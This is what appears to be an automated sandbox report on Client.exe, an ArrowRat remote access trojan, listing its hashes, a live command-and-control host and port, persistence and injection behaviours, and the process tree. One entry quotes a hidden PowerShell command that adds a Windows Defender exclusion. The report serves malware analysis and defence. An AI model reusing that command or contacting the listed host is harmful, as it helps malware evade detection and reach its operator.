Overview

overview

10

Static

static

10

Client.exe

windows10-1703-x64

10

Client.exe

windows10-2004-x64

10

Client.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240419-en
  • resource tags

    arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    18-06-2024 21:14

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Client.exe

  • Size

    158KB

  • MD5

    332bc09f4e96b4c92fba644fa6b49585

  • SHA1

    56fe70b2cfa0507fd1c6cb67b7456bba2e93bc39

  • SHA256

    876f5ce0e85c7bd4fd29f3b29333e3b6d130306a53ba4a9dff02151cfc8bda63

  • SHA512

    49c0a97e8f2b4a11f0261722c1c8495f9d8d438ad63a6f0f4bef0661b4ff2f05a0672caf6264d7d03fe91752def7d346b7d0ad752a0f9f8296859a543c7d10fa

  • SSDEEP

    3072:MbzgH+0OoCthfbEFtbcfjF45gjryKKqH6JY2doszEmQotEPPcfPUJO8Y:Mbzge0ODhTEPgnjuIJzo+PPcfPUk8

Score
10/10
arrowratclientexecutionpersistencerat

Malware Config

Extracted

Family

arrowrat

Botnet

Client

C2

runderscore00-37568.portmap.host:37568

Mutex

qxzqapnkK

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies registry class 20 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 26 IoCs
  • Suspicious use of FindShellTrayWindow 31 IoCs
  • Suspicious use of SendNotifyMessage 26 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\Client.exe
    "C:\Users\Admin\AppData\Local\Temp\Client.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Suspicious use of SetThreadContext
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3060
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:3832
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client runderscore00-37568.portmap.host 37568 qxzqapnkK
      2⤵
        PID:4904
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client runderscore00-37568.portmap.host 37568 qxzqapnkK
        2⤵
          PID:616
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client runderscore00-37568.portmap.host 37568 qxzqapnkK
          2⤵
            PID:1320
          • C:\Windows\System32\ComputerDefaults.exe
            "C:\Windows\System32\ComputerDefaults.exe"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3464
            • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
              "PowerShell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SOGYywQjD\ZamZUaDqR.exe'
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2208
        • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
          "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
          1⤵
          • Modifies registry class
          • Suspicious use of SetWindowsHookEx
          PID:4988

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fyo2e31p.55b.ps1
          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          Download Submit

        • memory/1320-8-0x00000000058B0000-0x0000000005916000-memory.dmp

          Filesize

          408KB

          Download

        • memory/1320-2-0x0000000000400000-0x0000000000418000-memory.dmp

          Filesize

          96KB

          Download

        • memory/1320-4-0x00000000050B0000-0x0000000005142000-memory.dmp

          Filesize

          584KB

          Download

        • memory/1320-5-0x0000000005150000-0x00000000051EC000-memory.dmp

          Filesize

          624KB

          Download

        • memory/1320-6-0x0000000005970000-0x0000000005F16000-memory.dmp

          Filesize

          5.6MB

          Download

        • memory/1320-13-0x0000000006170000-0x00000000061C0000-memory.dmp

          Filesize

          320KB

          Download

        • memory/2208-20-0x0000011FBFF80000-0x0000011FBFFA2000-memory.dmp

          Filesize

          136KB

          Download

        • memory/3060-7-0x00007FFE59E70000-0x00007FFE5A932000-memory.dmp

          Filesize

          10.8MB

          Download

        • memory/3060-0-0x00007FFE59E73000-0x00007FFE59E75000-memory.dmp

          Filesize

          8KB

          Download

        • memory/3060-1-0x0000025F5B670000-0x0000025F5B69E000-memory.dmp

          Filesize

          184KB

          Download

        • memory/3060-28-0x00007FFE59E73000-0x00007FFE59E75000-memory.dmp

          Filesize

          8KB

          Download

        • memory/3060-29-0x00007FFE59E70000-0x00007FFE5A932000-memory.dmp

          Filesize

          10.8MB

          Download